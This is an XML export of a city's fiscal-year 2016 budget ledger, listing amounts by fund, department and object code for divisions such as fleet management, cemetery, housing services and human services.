<row _id="22467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>405660.0</object><object_description>GLOW FOOD TRUCK REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="22469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="22470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>98534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>98534</total></row>
<row _id="22471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="22472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>572</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>572</total></row>
<row _id="22473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7346</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7346</total></row>
<row _id="22474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2024</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2024</total></row>
<row _id="22475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>404940.0</object><object_description>AB2766 MBILE SRCE AIR POLL FEE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-110000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-110000</total></row>
<row _id="22476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405750.0</object><object_description>VEHICLE MAINTENANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-5256444</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5256444</total></row>
<row _id="22477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>166083</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>166083</total></row>
<row _id="22478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>50910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50910</total></row>
<row _id="22479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4715</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4715</total></row>
<row _id="22480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6800</total></row>
<row _id="22481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30600</total></row>
<row _id="22482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52275</total></row>
<row _id="22483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18000</total></row>
<row _id="22484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11466</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11466</total></row>
<row _id="22485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4179</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4179</total></row>
<row _id="22486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
<row _id="22487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3016</total></row>
<row _id="22488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2534</total></row>
<row _id="22490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-41080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41080</total></row>
<row _id="22491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-28113</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28113</total></row>
<row _id="22492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8184</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8184</total></row>
<row _id="22493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-23312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-23312</total></row>
<row _id="22494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6146</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6146</total></row>
<row _id="22495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-33960</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-33960</total></row>
<row _id="22496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544450.0</object><object_description>ADMIN-COMMUNICATION EFFORTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51447</total></row>
<row _id="22497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409020.0</object><object_description>ENRICHMENT PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402810.0</object><object_description>URN SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-19158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19158</total></row>
<row _id="22503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556140.0</object><object_description>SOLD VAULTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31600</total></row>
<row _id="22504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="22505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>36740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36740</total></row>
<row _id="22506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5350</total></row>
<row _id="22507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>163592</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>163592</total></row>
<row _id="22508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22870</total></row>
<row _id="22509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1370</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1370</total></row>
<row _id="22510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="22511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1037610</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1037610</total></row>
<row _id="22512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-288098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-288098</total></row>
<row _id="22513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-5982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5982</total></row>
<row _id="22514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="22515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
